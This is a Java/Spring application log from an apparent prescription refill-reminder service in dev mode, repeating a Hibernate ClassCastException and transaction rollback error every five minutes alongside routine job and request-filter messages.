org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:07:51 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:51 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:51 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:07:51 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:07:51 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:07:51 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:51 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:51 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/portal/displayAPSForm.action 2024-02-25 18:07:52 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:07:52 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 18:07:52 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 